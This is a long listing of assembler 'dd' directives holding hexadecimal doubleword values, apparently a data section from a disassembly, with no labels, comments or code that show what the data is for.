		dd 0C76E0C00h, 0C541AE4Ch, 0AFBDC13Eh, 0E7F9612Dh, 95B9D665h
		dd 5E5BAA94h, 6722E0BFh, 25082CE7h, 2A1CC60h, 0CE2BBB82h
		dd 35E53761h, 0DAABFA80h, 67A6EB0Dh, 0A67C5234h, 7E2E9D61h
		dd 92793915h, 86242EC5h, 74E8B223h, 0B8976F94h,	0BD6FC187h
		dd 0B570A9A0h, 0D2AFE45Ah, 7DE61686h, 21035CA6h, 4178E278h
		dd 0C4405301h, 5CD96002h, 7F37417Eh, 19A4003Fh,	1F2407D2h
		dd 4A4EE7BDh, 0CE91BA67h, 244B7C0h, 0BAF988D3h,	5F6A8053h
		dd 7475A28Dh, 0D70DBB3h, 218171Eh, 706217F6h, 1ADC3A58h
		dd 87F85DA8h, 882D178Dh, 58F60D1Dh, 0FE6AA794h,	0C826D2A2h
		dd 48DE8459h, 3D43BF3Fh, 0F5E4C193h, 31C11992h,	495CD3A1h
		dd 8E08644Fh, 0F47C5382h, 68D9065Bh, 0BCC82CDBh, 60A6E1CFh
		dd 4C464C67h, 721A978Fh, 3B0A822Ah, 2A8B46D9h, 0ED573F4Eh
		dd 0B43C40D8h, 652E7546h, 0C236A6E0h, 8E87418Ah, 399EAF91h
		dd 80FFF0B4h, 0A1EC22A4h, 731ED749h, 81B0E884h,	0B6F8ABEh
		dd 0BB3B22FDh, 0E5CB4418h, 48BED200h, 9AEEC09Eh, 1487A44Ah
		dd 8815DD79h, 32A24D7Bh, 0CF458E45h, 3616776Dh,	810D5DD9h
		dd 4A196188h, 50BD233Fh, 0BADB8355h, 0CD63A3E5h, 0FC1524ADh
		dd 0FD755FADh, 0C1A138FCh, 0A36D11EEh, 78DA5889h, 117D1E07h
		dd 0DC08185h, 2968852Dh, 62D2B781h, 21E1F8E2h, 0B57F5397h
		dd 7FD414A7h, 20F9FB77h, 0EE7881A9h, 1CDD5F5Bh,	3FBE8930h
		dd 0C46EEB53h, 194821CEh, 9B484887h, 4FE5232Dh,	0ADE916BDh
		dd 19650352h, 7422FAD2h, 39F07596h, 0FC67FB7Dh,	556B7721h
		dd 3898588h, 0A7C9742h,	4AB80CFFh, 5AFC2223h, 7BFF7B2Dh
		dd 366B4B7Ch, 91D86477h, 0A4709493h, 9410C35Eh,	7CAD1817h
		dd 7CD644F4h, 69F4C3EEh, 0AD20D63Eh, 81527C2Eh,	4013F0D0h
		dd 659FECD0h, 7E58D8A6h, 143962FFh, 0B28390FBh,	0A55F9D6h
		dd 0A82A8866h, 77750843h, 7FF805ABh, 21B8D497h,	0CF370D4Eh
		dd 4DDB1076h, 5E02F8A2h
		dd 0E2965203h, 7404E703h, 703A9F9Bh, 0D0402F2Fh, 8A83B5DBh
		dd 1ABA4147h, 0AA1FAF40h, 0CDF617DCh, 72B2577Ch, 0A02A90A5h
		dd 0C5D0E1ECh, 0E7FEF421h, 46EBE8EEh, 0C49BECE6h, 0AA8988D7h
		dd 0BC065524h, 443A75EAh, 0F9EAB79Eh, 454383C1h, 0E323C8A4h
		dd 0D9DD82D3h, 828D09D3h, 62A7BAABh, 0F8B53E41h, 6CEC072h
		dd 0CE9D6EF6h, 0B348E6C7h, 0B3693F8Fh, 92D40A6Eh, 478F0D3Fh
		dd 0A5BE8F30h, 0BC31F11h, 0BB45E908h, 0C2557C83h, 0F9BE1761h
		dd 74DF2D44h, 8F2E71FEh, 0E9540DF8h, 2138020Ch,	403D3DBDh
		dd 7EC230CDh, 85166473h, 24EFFC15h, 1CACA602h, 2E93402Eh
		dd 48FF3F9Eh, 1F9BFAF5h, 0AFA0A71Eh, 2563728Ch,	13ED65Dh
		dd 665D34B5h, 0DC801FCBh, 7E752BE0h, 0D81260DDh, 56AC55Fh
		dd 0B2043F2Dh, 533C7553h, 0C0572572h, 112BB99Ah, 38E929ABh
		dd 703E661Fh, 7F90C498h, 52C3AFC9h, 768392B3h, 3340C6FFh
		dd 0BDACDF09h, 3E6A7A88h, 0CF65EC7h, 245FA11Eh,	6BD60D4Fh
		dd 0B52C9966h, 0D26653BCh, 0BB1E6553h, 12AFDB0Eh, 0E9DF7591h
		dd 4CCFBF23h, 0D9ADA5AFh, 81565313h, 25E4057Ah,	4E3294AEh
		dd 8E474CE9h, 60D756F3h, 78457255h, 85FC4B78h, 4213D631h
		dd 0A3AB71A9h, 0C560AD19h, 0D7DE763Eh, 7DC560CBh, 5A57276Eh
		dd 0DDC6C09Fh, 420A0B16h, 0D00709B7h, 0F8A6EDABh, 91808202h
		dd 8BA1C811h, 0D9D99EAEh, 3B31C92Fh, 1078B66Fh,	9D196DFBh
		dd 969A4196h, 34660A39h, 7A76FB23h, 0D88E12FFh,	0D7F39344h
		dd 0C840B12Ah, 0C5110FD5h, 0A492112h, 0E312DA64h, 8887629Dh
		dd 0F68FA3EBh, 71526D46h, 0B17F3238h, 852994AAh, 8004DD53h
		dd 5AB04D7Ch, 56A9E23h,	36FE5C7Ah, 0DA9C8AEAh, 1C6FA722h
		dd 50B7F905h, 0ED145BB6h, 0A790926h, 8743D9E6h,	6C0EDA86h
		dd 3B3D0B38h, 2CBE9EC6h, 1F37B0E5h, 25301B09h, 8311A70Ch
		dd 5713BCDDh, 9EB6DB57h, 0A8F880F3h, 9E346BEBh,	0E3DA249Bh
		dd 0D3BA1C75h, 1F0A8E2Fh, 50013016h, 2AE39AE9h,	0C6A33D21h
		dd 2AD90D65h, 4170B671h, 5B5FF285h, 6CF9F5E0h, 3BD02D34h
		dd 0BB587168h, 71D9749Fh, 40FFC144h, 0AFFB9C61h, 0F12468AAh
		dd 0A7C15431h, 0B1C0F6C5h, 0CA317BD2h, 109D4862h, 76404148h
		dd 8E6CA15Ch, 37D39645h, 924D68C3h, 0B465230Eh,	41A110Bh
		dd 0CC48D6ECh, 808F444Eh, 0C125437Bh, 0B0F2EB59h, 858D1F4Bh
		dd 4ED83567h, 6CDA2BE1h, 0DF2F3F6Fh, 2841FC6Fh,	2C4747E7h
		dd 67CCCFD4h, 61CE7A2Eh, 6F0D01Ah, 7ABD4FDCh, 68043395h
		dd 99998EBCh, 5ED2E8ECh, 6CE438ADh, 9082D382h, 2752C45h
		dd 0AD10F01Ch, 3CBECB25h, 0E7CAEA3h, 0B9C3DFD5h, 0C1CC8D94h
		dd 468C8739h, 1CF951D8h, 96BE3C84h, 0B12EFCA2h,	0DEFBA770h
		dd 68C81B7Eh, 6BE8FFA0h, 0FC438B91h, 0F530F1D5h, 54940070h
		dd 138D1B3Ch, 0A5D50143h, 26FE2BA1h, 6F620A66h,	6152C59Ah
		dd 182FFCAFh, 29E01438h, 3F8D9BFDh, 3144F8ECh, 0C86E51BEh
		dd 0C53E7613h, 0E2D73543h, 0A29B4EB3h, 0DB8DDC00h, 0C14DE0AAh
		dd 5CBD69BAh, 36691AA1h, 0A67215EFh, 0AEF6DD6Bh, 66F6216h
		dd 0FA31908Dh, 0D38AB68Ah, 825C5DE6h, 42E7EF25h, 0E2232BF8h
		dd 28B75005h, 6AE954E3h, 0D7F19525h, 3F9E5604h,	0E9A4CB13h
		dd 481BA005h, 298911AFh, 0EDDD97FFh, 0AB21EC96h, 0B104DF22h
		dd 92D414ECh, 0E1602499h, 8B92292Eh, 2F868A2Eh,	7E65CF96h
		dd 51563CEFh, 0D596FB11h, 402811E9h, 0A54BBBC5h, 0D7D67540h
		dd 2F35B531h, 23A2D73Bh, 962C8F77h, 9246D9FAh, 14AC82F2h
		dd 2F0F4029h, 0E84DE397h, 0AC968968h, 717AC60Dh, 15107C3Eh
		dd 16C0CCEDh, 1720555Ch, 8D212905h, 2650B882h, 401C97E5h
		dd 9850AE32h, 89EA64EFh, 6D24F1D7h, 0A189008Bh,	0BA178244h
		dd 3286067h, 236FB183h,	0C1E22027h, 4469277Ch, 87908F4Dh
		dd 0B72AF662h, 0A6114208h, 0F44FA951h, 0F9E64BFBh, 3341A422h
		dd 45E08148h, 5804DB8Dh, 0D73253BAh, 316AE083h,	0D6BDB931h
		dd 7DD70037h, 49183641h, 80B05280h, 0A2BD6AE6h,	0EE165228h
		dd 0FC9B5BFAh, 0B436E46h, 0C15BC5E6h, 0C02CF030h, 6229025Ah
		dd 0F2C2703Bh, 82E07A34h, 33D552F2h, 0F8425BC7h, 3E47DD96h
		dd 0BCC8918Dh, 0B20B56F4h, 0FE5095CEh, 5B608A61h, 14BC250h
		dd 0D191931Ch, 634A8089h, 0DA5C040Dh, 0BC6F454Ch, 978174ADh
		dd 0DEB624D6h, 7E8A9397h, 8306CA89h, 3C7F498Bh,	272E4959h
		dd 2485C14Dh, 0C8DBC0F9h, 0EC69E61Eh, 3413E534h, 4E7D6EA3h
		dd 2C759677h, 0E9445C89h, 0D66E6695h, 91167974h, 74EB4D2Bh
		dd 0A5D9A849h, 2CE9C2A3h, 0B769D9ACh, 0B0A4C32Ch, 7C43B077h
		dd 942E2768h, 19BFE0D4h, 0C629FF0Ch, 2DA381A3h,	1A46A0F7h
		dd 2FB329A9h, 0D78BD7B5h, 0B3E9BAE3h, 64BB5156h, 6C104D31h
		dd 5D84E408h, 0EAFC84A2h, 54DC8E52h, 0F6BCD435h, 0F02572DCh
		dd 0FDAB963Fh, 0CCF8B3D6h, 5470EFFFh, 0B446271h, 77D79FE8h
		dd 4379C63Ah, 0EB944BB8h, 9A4CC39Eh, 0A4500FD0h, 0AD349A4Ah
		dd 0FFE0B75Fh, 6A61CE1Bh, 0FE2ADF28h, 253E4F79h, 42BB9D8Fh
		dd 434C54ECh, 0BB4C081Bh, 8A1DADh, 14E29919h, 0A62C36CFh
		dd 42772C4Dh, 0C1995AA0h, 0AE3693F5h, 774F916Dh, 100C50FCh
		dd 0E779B459h, 23F800E1h, 0B774ED4Eh, 91C63C2Fh, 0BCE9FE53h
		dd 0A7EDEB40h, 0EA2B0D56h, 0A490487Dh, 0F437697Dh, 0A772E733h
		dd 0D4792E50h, 0D5D310BAh, 5B51650Fh, 0F7CFB82Eh, 0DCB86736h
		dd 1F80B281h, 0FB2F8559h, 0E4CCC224h, 6B38A17Fh, 0A997CD33h
		dd 5FEA34A2h, 7E01C6D6h, 8EB6B15Eh, 7CCFC11Bh, 716DFECFh
		dd 35B95AF2h, 2D358580h, 0F2202F01h, 1E751A86h,	527F92EFh
		dd 184FAA85h, 0A7A65E17h, 5BA40480h, 0B973CF8h,	96B2060h
		dd 8A85E035h, 0A2243D07h, 0E52F84Fh, 0E31B4F9Bh, 32B6BE51h
		dd 0B6224C9Bh, 18C4FBBAh, 5A7A23F0h, 4F22389Dh,	76BBC7D0h
		dd 58FD30C0h, 8DEE72B5h, 4F4CAEF2h, 5BC1A2D9h, 0A2AB5FADh
		dd 1843C87Ch, 0F0325AD2h, 0CA1D038Bh, 0EE1D6D41h, 325AA2D5h
		dd 3373C1F8h, 0D82E4F06h, 0D646F65Fh, 6C0B7D67h, 0E57A39E8h
		dd 0E4748123h, 2B010AC1h, 32B38CD3h, 98DC1F9Fh,	8A0DC796h
		dd 0F10D2CD2h, 2A516CE7h, 0CA85C66h, 0FE8A1047h, 44B7DD7Dh
		dd 4CA56FBFh, 82F71DF7h, 6D59FBD5h, 26D1B029h, 34058EF5h
		dd 0D0380A9Eh, 5DD60F05h, 3461FAB6h, 0A6F0CEDEh, 0B45CC25Eh
		dd 77067B4h, 7CF16BCCh,	0DA519FFBh, 0C6B231CEh,	72F02C56h
		dd 7D1AB064h, 6BE51C56h, 763544h, 3AA571F7h, 0BB07B7B0h
		dd 114751AAh, 0D2F84106h, 765F4633h, 13EB1019h,	3545293Dh
		dd 7EAEB0C7h, 6BF48FEDh, 97B6A7BAh, 9F88481Dh, 89CFC759h
		dd 304BD3C1h, 3BEF3674h, 0DFC9C1FDh, 0C53BECF0h, 8F42AD3Bh
		dd 34A75859h, 1C0C74CDh, 0D4676F1Fh, 0BBF7E798h, 9D7DBAD8h
		dd 4D6C1D77h, 0B6EF837Bh, 0D88DC4F4h, 4643DDF2h, 647D2CB7h
		dd 0E487DEFAh, 700865B9h, 0F2100A1h, 3D423DACh,	0B829AE74h
		dd 0F0CDA66Fh, 697C108Dh, 24BFE816h, 38F4E9CBh,	7D833931h
		dd 566E1A7Dh, 44155B50h, 16800482h, 0B5CA07BEh,	52D6FBAFh
		dd 9A8E241Ah, 8C306B9h,	35DBC2A0h, 65C42BC7h, 45F93829h
		dd 4E39D7EFh, 67FEE3Fh,	91E85CE7h, 0CE51642Bh, 54536D1Eh
		dd 0C0E69AA1h, 0AB02B041h, 8930A7ADh, 249B65A3h, 0E219519Ah
		dd 0AA1EF519h, 0EF459EDEh, 0CD76AFB5h, 0A95D6A8Dh, 7CBB1B7Bh
		dd 0CEFDD9ECh, 9DF70104h
		dd 5428E521h, 0AFC7D62Eh, 0D1AEB81Ch, 0CDC42839h, 3523C557h
		dd 0A5ED56B0h, 2826466h, 0A5D0B8B1h, 54B3E637h,	6B5FE61Ah
		dd 0FE10F65Bh, 4E34E3D1h, 24DC5C04h, 52E05D76h,	0C7CF7ACBh
		dd 0B7E426ABh, 67DD68BCh, 0E21D769Bh, 0CEDC2602h, 7E58678Fh
		dd 0CA7348B7h, 72F4F313h, 5E367964h, 0FA540FEBh, 18F94B3Ch
		dd 35D0B2D8h, 4BA4B82Ah, 0B1CA752Ah, 9B12A81h, 0A38EEA33h
		dd 95EFB7h, 0EED93F4Bh,	409877DAh, 5354C3A4h, 29ADC1CFh
		dd 0E86CE1EDh, 92A05EA1h, 0E12BDFF3h, 4417212Eh, 4BEDCA0Ch
		dd 0D2A1071Ch, 32CE582Bh, 816549DAh, 72E7333Fh,	531F905Fh
		dd 4A9F62ECh, 703379h, 0BC8554A2h, 0AEB2F3C4h, 1BFE1DD1h
		dd 3E0D1468h, 309E8ECCh, 76BD9C06h, 9ABD814Ch, 5268AD66h
		dd 51A1F17Bh, 410E8393h, 5D2DDBE9h, 0D0B10B8Ch,	6D400FE7h
		dd 292D973Bh, 0DC539Ch,	0FAA80A45h, 0DF686DCFh,	89C25787h
		dd 74F68774h, 3A834CD1h, 5AAD6093h, 5293A1F1h, 547F8C49h
		dd 0AF9869AAh, 608CB860h, 0ACF694Fh, 9496D953h,	0B5FB8291h
		dd 0D670669Ah, 19B9EE4Ah, 0A8D0B405h, 6E9F897Eh, 38EB973Dh
		dd 0C8F14191h, 8FC10689h, 0BC301D1Fh, 515D4535h, 6CE23F76h
		dd 0BA60889Fh, 0E926DC93h, 531E7FC1h, 6CA968B1h, 0A8735ABAh
		dd 2B6C8EE7h, 83F5E1CAh, 0CFBDB985h, 0FB0F59C1h, 0E05BFAE0h
		dd 0DBA4CD8Dh, 0FBF48DECh, 0D6D9A33Fh, 0C8983067h, 40942571h
		dd 20BA8EB6h, 0F7A9EF5Fh, 4E312B0Bh, 0D98F5EA9h, 0B3BDD080h
		dd 0E6CDA268h, 0E06AC9DCh, 25265BD1h, 0B6F517F0h, 7292C144h
		dd 0C3F95E36h, 0A05C7D8Fh, 0DB1D8B65h, 467E2965h, 8A497930h
		dd 632B25FEh, 0C6DDE32Fh, 0A313EFD7h, 9551907Dh, 11BF198Bh
		dd 0C65DDF0Dh, 0EF691ECBh, 0D43D5A2h, 2818ACE2h, 0D4BF09C0h
		dd 0E2A6AC81h, 0D8E9AB4Ah, 0FE1B2F9h, 0D0386D52h, 0F1B4F133h
		dd 0DDDFA8DDh, 0CF843B3Ch, 973D551Bh, 89BEA42Dh, 0B544E2F8h
		dd 0C2C08024h, 3B38BD42h, 4DC207CBh, 0B2CF1A13h, 0E3669F6Bh
		dd 0F39D67ABh, 0C40620C9h, 8ED94C37h, 7EC33157h, 2AD75A95h
		dd 0EE7C6456h, 9A1E39F2h, 0E63BF807h, 3CC2BE6Eh, 88EAF598h
		dd 92621EF3h, 0ECD92B13h, 7E7CEE5Ah, 31C629B9h,	0AE610010h
		dd 0D4A9C5AEh, 0D6638F01h, 5E981C9Eh, 7B2EE329h, 9F15F99Bh
		dd 2D51C47Dh, 638BC051h, 0D29D2D2Ch, 922D50ACh,	2B6EBC4Dh
		dd 14E3D09Ah, 0E1345D7Dh, 8282B3E6h, 0EC2ED261h, 0A166D580h
		dd 0D061A6A2h, 3D37B33Eh, 0C73C919Fh, 1EE988ACh, 6C0BCE40h
		dd 0D7B9B0E0h, 57F72B47h, 3B79E752h, 0B09FBC35h, 0B7DD086Dh
		dd 0BA00E6E0h, 0AB24EFADh, 83706A4h, 0D69A1697h, 0CA53C5D4h
		dd 5D2BCA4Fh, 0E692C642h, 888C6048h, 33C54B64h,	79180F97h
		dd 0E411CA25h, 7F8949E8h, 17B05768h, 76C31873h,	0F14D087Dh
		dd 8B8F6BD3h, 19EDBC04h, 0B7969E79h, 1EFF1714h,	5E5EF810h
		dd 8CA49FD6h, 2EBCB444h, 0B666FBE1h, 80B7BB68h,	0BB175AF0h
		dd 95DA4952h, 5019E36h,	76B1701h, 7657C982h, 4ECFF257h
		dd 6722467Ch, 3E4AA180h, 0C9A97CFCh, 513A6928h,	0BFF8E417h
		dd 0AC418D3Ah, 7BD49B18h, 0D4D63543h, 9E9A5E4Fh, 0FF67EC46h
		dd 97267082h, 2F178EEAh, 0CDB80DBFh, 165D89ABh,	0DB10C250h
		dd 6DAA1D4Eh, 61ECE489h, 6B5F9A0Ch, 70D9A916h, 3CAD99BEh
		dd 8401F1CFh, 41B0D64Dh, 0CE03FDEh, 1CCCD46Fh, 9CAD697Ch
		dd 0C4D9DCDEh, 9B9CAC15h, 9D455D7Ch, 8CE7822Ch,	145B9C04h
		dd 87E03863h, 512B4556h, 16AE6F71h, 7D27942h, 3F855B57h
		dd 46CB3B2Fh, 17C6D34Fh, 6BC0202Eh, 0B76A9746h,	0DC2FA2Eh
		dd 4B233230h, 1DDD6A80h, 0BB7ED7F4h, 0CBC16FA8h, 149BBDB9h
		dd 0EEFFA9DCh, 56479A8h, 0F114249Bh, 0B9C68930h, 2BF1F394h
		dd 344228E1h, 0F83C4166h, 70015548h, 15F65502h,	7EFEAB99h
		dd 75D33C04h, 2F9728ADh, 30A6EA81h, 4AA93DAAh, 9AEE6F92h
		dd 0FC5246B1h, 3671AD34h, 719858ECh, 3B63C91Eh,	2AABC28Ah
		dd 7DBD6B37h, 0B361EDD4h, 2692F307h, 5A9A1180h,	0E7FAA160h
		dd 22B3F2F9h, 5CBDB119h, 0C6B56C31h, 99EBCDB6h,	0AB8FDA49h
		dd 0CCCE4155h, 5AB2EF89h, 86B521CBh, 5D2DCDA2h,	0DF525881h
		dd 0DB656A8Eh, 485501EEh, 0F757A943h, 0AD94629Ah, 28DF87EBh
		dd 7008EB2h, 5B14B240h,	54C60D1Ah, 8CE3857Bh, 267EF10Ch
		dd 8B1946ECh, 0BDD30DA5h, 653535F4h, 2B91949h, 8EAA1766h
		dd 35B0CF80h, 81B96A8Ah, 88EA8762h, 0F62D4753h,	27D1FFE2h
		dd 0EB6A2757h, 0A9EE0A20h, 0A27D03E7h, 927CE403h, 28F649E3h
		dd 6535F66h, 0C394A214h, 0EDF2AA1Eh, 102C9B57h,	77BCB702h
		dd 63D8E29Ch, 74828221h, 66454BBBh, 0E858E387h,	0C73A1773h
		dd 0EED87860h, 1E171D87h, 0D34435D8h, 2F5470F2h, 0E617D740h
		dd 653707BEh, 5218507Fh, 64D4213Eh, 5B98FCF2h, 73711A64h
		dd 9D23C282h, 534BCDB8h, 66BB280Ah, 804419EFh, 6967743Fh
		dd 1F92AC11h, 6C59C002h, 0CB6A8E17h, 0FF1B30E9h, 0F09CA6F5h
		dd 0BE7B33C0h, 729CF407h, 4734E81Bh, 1825EEF3h,	0F94735CFh
		dd 3719D5h, 8E54BE7Ch, 22AB3F4Fh, 8305AF27h, 7D27C4D7h
		dd 298EC1E6h, 0D250515Bh, 0C86D7B2Fh, 353D5F2Fh, 5424923Ch
		dd 466B7DF9h, 5464CC3Bh, 6B1F7C30h, 4F0E0B16h, 77B5CC13h
		dd 5AC2FC41h, 0FAAA1776h, 0DB23FBBDh, 0F2FA751Eh, 60E638E1h
		dd 6896630Ch, 93B0FA06h, 9BD9D24Ah, 0F107D1DCh,	26BB2EDEh
		dd 0E9D17BBEh, 0C038CC69h, 13842873h, 0CC077D51h, 0D8F5B6BFh
		dd 0A510F04Fh, 6A95A8BDh, 86937F12h, 354F98Fh, 0A49743D9h
		dd 7C13BCF6h, 0AB0E4A30h, 5092A73Bh, 377B51E2h,	6F81EE3Ch
		dd 0B52FFE3h, 4873A89h,	0F1B734D9h, 0FACD856Eh,	0DC11BA6Dh
		dd 30A4713Bh, 0D0873929h, 0FE2807EDh, 0D4427929h, 0C94149BAh
		dd 21FAE249h, 0F94F74C0h, 2243A988h, 300F5B26h,	0EA2B4407h
		dd 618DF1FEh, 605E6AD7h, 0A324584Bh, 3B442A91h,	105DA92Dh
		dd 3DA96A58h, 0EDE493D3h, 0F5F0758Fh, 5AFB57CEh, 6BADBB7Eh
		dd 0EB1172E3h, 83181D07h, 56F17388h, 5E12FECh, 9B753CDh
		dd 0EB2DAE10h, 640DF101h, 0AF07FD8Fh, 0BC63B47Eh, 0B2E19646h
		dd 8A54EE05h, 72205722h, 26173E4Fh, 0B3F0422Dh,	0A4D4E99Eh
		dd 0B4CA017Eh, 0DEAFFF73h, 4E32C639h, 0BCEBCCF1h, 175AF3Eh
		dd 0CB02D899h, 36A6B8B9h, 72E9D10Ah, 0D2C559A8h, 0D824D3E2h
		dd 5ADA4584h, 7A97062Fh, 0C5C5A8BBh, 0C87AEADCh, 9A289996h
		dd 0B49236EAh, 0CEC4591h, 0E7C8BBB0h, 0FBE7F56Ah, 0E23A40D9h
		dd 0A4478B09h, 35CF0A62h, 0D84EF1D3h, 0E722E100h, 0EE3649D4h
		dd 1C59DF9Eh, 8089E208h, 5726CBF8h, 0FCEF29CEh,	0B9B6566Fh
		dd 72C1981Dh, 9B5E7B1h,	5733C4CAh, 72EF4C5Fh, 5E83F79Eh
		dd 47A051A9h, 89B51631h, 0FDDD00C4h, 63113CE7h,	0A4905D24h
		dd 2531521Ah, 5A122C81h, 0E849608Ah, 161BC6CCh,	0ADA03511h
		dd 0BE48B472h, 34F55ABEh, 0BB34E4D0h, 7191F2A0h, 81AD4A14h
		dd 6D742FEEh, 668401D5h, 0B57350C2h, 901AC607h,	3855934h
		dd 0CAACAB0Ch, 0FA4714D7h, 0D7B11D15h, 5632C9C1h, 4B0274B1h
		dd 5C9FF170h, 0CBF94B15h, 0AE6603DDh, 0C5EB49DAh, 222C5A18h
		dd 0F5D362BAh, 0DE6AC2AEh, 7F8CBAC3h, 30BD4276h, 4414EEAFh
		dd 0E5FA980Fh, 5A40D65Eh, 2B205C82h, 0CB7AE7FDh, 0DE9ACED6h
		dd 968D3792h, 4D65680Fh, 0DCAF2D88h, 0EEEA47C8h, 0B48595D7h
		dd 28A25880h, 64C7EEAFh
		dd 0C19F2180h, 5D00758h, 0C860604Dh, 0CA0DDD9Dh, 0D826C1ADh
		dd 99B7027Dh, 2078F584h, 0CFD6DFCCh, 0E06BC211h, 68553ADh
		dd 0CDA2E6FAh, 7A74B950h, 98F22F2Fh, 0F6E30983h, 0E1947723h
		dd 0DD577A1Bh, 27CC8AE5h, 0E4A9F685h, 18E6AA19h, 59EC2911h
		dd 2776E82Fh, 8FD4F4A3h, 0A1C47E1Bh, 80D387FAh,	73301E75h
		dd 0DFD37F44h, 21D740Ch, 29D1CF57h, 5C9E7B75h, 745C4A31h
		dd 0F65C40AEh, 6C498C4Bh, 0F52A92Bh, 51B87775h,	0A483E3DCh
		dd 433389D7h, 0C8E43232h, 11AAF14Bh, 7D3F0015h,	0C78BF41Fh
		dd 6F1031AEh, 13580383h, 0DE99EFF2h, 28B0C766h,	9BE82525h
		dd 6B14764h, 0A6A8BD10h, 1C7DD68Dh, 3A2BEA3Dh, 0E4D823BDh
		dd 5B40F72Fh, 13143DDAh, 0DFCBDF92h, 0C914837Bh, 0C223A8AFh
		dd 0F26F949Bh, 18EC175Ah, 9FEB9EFEh, 375AA42Fh,	4597596Dh
		dd 8813571Eh, 0EFEC470Ch, 69B92731h, 1E657B76h,	0EB537C94h
		dd 44332DBBh, 0E9BEF8C1h, 2C972B96h, 0FB223909h, 567325Ch
		dd 60ACC0BEh, 200A0BBDh, 0AC30FDA5h, 41EF1D0Dh,	0B6AA8263h
		dd 6607DE57h, 0E536A282h, 53438DD5h, 0CD2BFBD3h, 74B6704Fh
		dd 97ECCBD0h, 897BF217h, 0B81A9089h, 62506E34h,	836943Eh
		dd 3971A275h, 3E8585Eh,	6814F67Eh, 2108989Eh, 0E2FA21FAh
		dd 0B2887505h, 2A603FD8h, 75AF3563h, 0B974F446h, 0D87D3CB7h
		dd 0E1C01545h, 23626114h, 0AF635768h, 56833CD8h, 0B10555B3h
		dd 0D4D35329h, 0ACE7B8D2h, 0FC1B4CCCh, 0F6261980h, 0B3F9E411h
		dd 8AA52060h, 9C3CA055h, 0E3A0B97Ch, 0D5D45AC5h, 89F014AAh
		dd 87E730D1h, 69853121h, 60255980h, 5B2A56A5h, 66071655h
		dd 0F238A7F5h, 46D3F985h, 1AAB7F37h, 1066D48Dh,	175126A2h
		dd 0F4BEEF53h, 0E2BE6EB0h, 5182C881h, 48184E23h, 0B29FF17Ch
		dd 0B66EE6BEh, 6E20D00Fh, 0B8FC18BBh, 538F5E42h, 0AE92515Ch
		dd 682BBA5Eh, 0F6F845B4h, 0CA98BB82h, 0E7FF9775h, 6BE00997h
		dd 5EE556F6h, 7E59C2FBh, 0BF12640Dh, 711063Bh, 4CC27144h
		dd 0EE16B503h, 3D638F6Fh, 0A6CAC383h, 0CCB6ED31h, 0C3756AF8h
		dd 2BF8439Ch, 0BF9467A1h, 706E9058h, 0CC70F9A2h, 0C1846D30h
		dd 31FB25A3h, 4971AEFBh, 51E27A7Dh, 0BF5C184Dh,	0CBDA7EA7h
		dd 0A4DAC56Ah, 0A8C7DA7Bh, 0E1A41153h, 8A7DDFE6h, 1B386C8Ch
		dd 0E6752A06h, 2DA61A36h, 330BE2D7h, 6039D4A2h,	0C6E5374h
		dd 0DF0BBA07h, 0A2E76168h, 9395B060h, 0A03C94ECh, 8FE6CC1Ch
		dd 3D3E1D6Ch, 0D769D92Eh, 0B81A964Dh, 0A6516546h, 0D60E45E8h
		dd 889105E7h, 1647F3E4h, 0E8FCADDCh, 0AFF05850h, 45F9501Fh
		dd 0E0B41942h, 0C697B9B3h, 0F7BD2C6h, 9F99EB12h, 9F274C39h
		dd 6E230215h, 736D463Dh, 0B5BD8537h, 928F34CAh,	8B7A2276h
		dd 9241A244h, 0EA9B7C81h, 33E87F89h, 0BCC8F99Bh, 71F38046h
		dd 459C3EDAh, 8AD5C5EBh, 56FA962Ch, 38C03EF1h, 3D52ED4Fh
		dd 74F3781Fh, 0E59B5F7Eh, 0B8A8B9C4h, 4FCA4011h, 0DF35B301h
		dd 335EE19Eh, 2BEB1B3Dh, 0B993D68Dh, 6BC3F904h,	95945FE9h
		dd 90FD20Bh, 0D801ECEh,	0D28C2F18h, 63A03B92h, 10DC84FBh
		dd 95374FF8h, 3D2BE310h, 0B384AED2h, 76F066FFh,	0B92022C7h
		dd 0DFD69000h, 194A957Ch, 61807ABFh, 1A6DA15Fh,	516EC80Ah
		dd 0B60F9D2Ch, 16C9E969h, 0E87B3260h, 6630C3C4h, 0B583A4EDh
		dd 15B7DA1Ch, 12764592h, 7CBBC8EEh, 0D9BA8DEDh,	64E1E365h
		dd 510C17DDh, 5EF04718h, 8D31FA80h, 8F8092B3h, 5160F66Bh
		dd 9E151B26h, 0D8345897h, 0FAAE6DB7h, 86135325h, 0D4239924h
		dd 4F211F3Bh, 7CE3330h,	3202D981h, 0A4A941C6h, 55B9FB7Ah
		dd 924F4ED5h, 818909CFh, 0BFCF14D8h, 734D4DD2h,	3C598BEh
		dd 0BC07DC15h, 4E155733h, 3FF13D4Fh, 736E6ADDh,	0F728659Bh
		dd 95FFA77Bh, 19FD56A2h, 521C37A0h, 0A8AD1F50h,	0D863AE2Eh
		dd 194AD47h, 16A29BA3h,	0E342A177h, 0B21DF233h,	0C78CF0DEh
		dd 0EC527AA0h, 1DEB2DBDh, 22229Ch, 77810EA2h, 28343FB8h
		dd 6AD463B3h, 752D4094h, 863769F6h, 4FB46268h, 0D553E709h
		dd 0E1D7C2E6h, 6C1EC4DDh, 0D1873FD7h, 0F2C18FEFh, 9E18D843h
		dd 21909097h, 46D510BEh, 2664FBBh, 0E85D1B7Dh, 5069A0EDh
		dd 0F7E9D668h, 0F6E15108h, 19D1C786h, 3F68B3D0h, 0FED9D04Ch
		dd 6055A961h, 0D6D168D9h, 1EC93030h, 44281ED7h,	52311C33h
		dd 0FB1591DAh, 777AFDB7h, 0A29A4DB3h, 5BD3CAEBh, 10B41AC6h
		dd 5ED93A02h, 814AA7E3h, 95A656B0h, 0F705C698h,	0C886BD4Bh
		dd 8E282768h, 5C57232Bh, 16B06EFAh, 109234E3h, 310D72E0h
		dd 0A68E6546h, 0B18FB354h, 0EFEAE5DEh, 0E69A9381h, 0B2C2B161h
		dd 8F2FE961h, 0AE6767BBh, 0C997F38Eh, 2F9B8DFDh, 56E61394h
		dd 5823B72Fh, 5936FB3Bh, 89599A4Ah, 69F1E072h, 11315839h
		dd 107B8E29h, 0A0E5EF49h, 0B6F97B1h, 367232ACh,	3A49778Ch
		dd 3D6BD729h, 0D9732C09h, 53062C48h, 2CAB31Bh, 6786A257h
		dd 0D968C9D7h, 1C8E952h, 7C37DF45h, 0FCE572A6h,	0C6037878h
		dd 0CB771B50h, 45ECFD04h, 26C18B7Fh, 3CF29863h,	83ADF72Ch
		dd 8C7650Fh, 0D885C6Ch,	565BB765h, 490E6BFDh, 1F40FFF0h
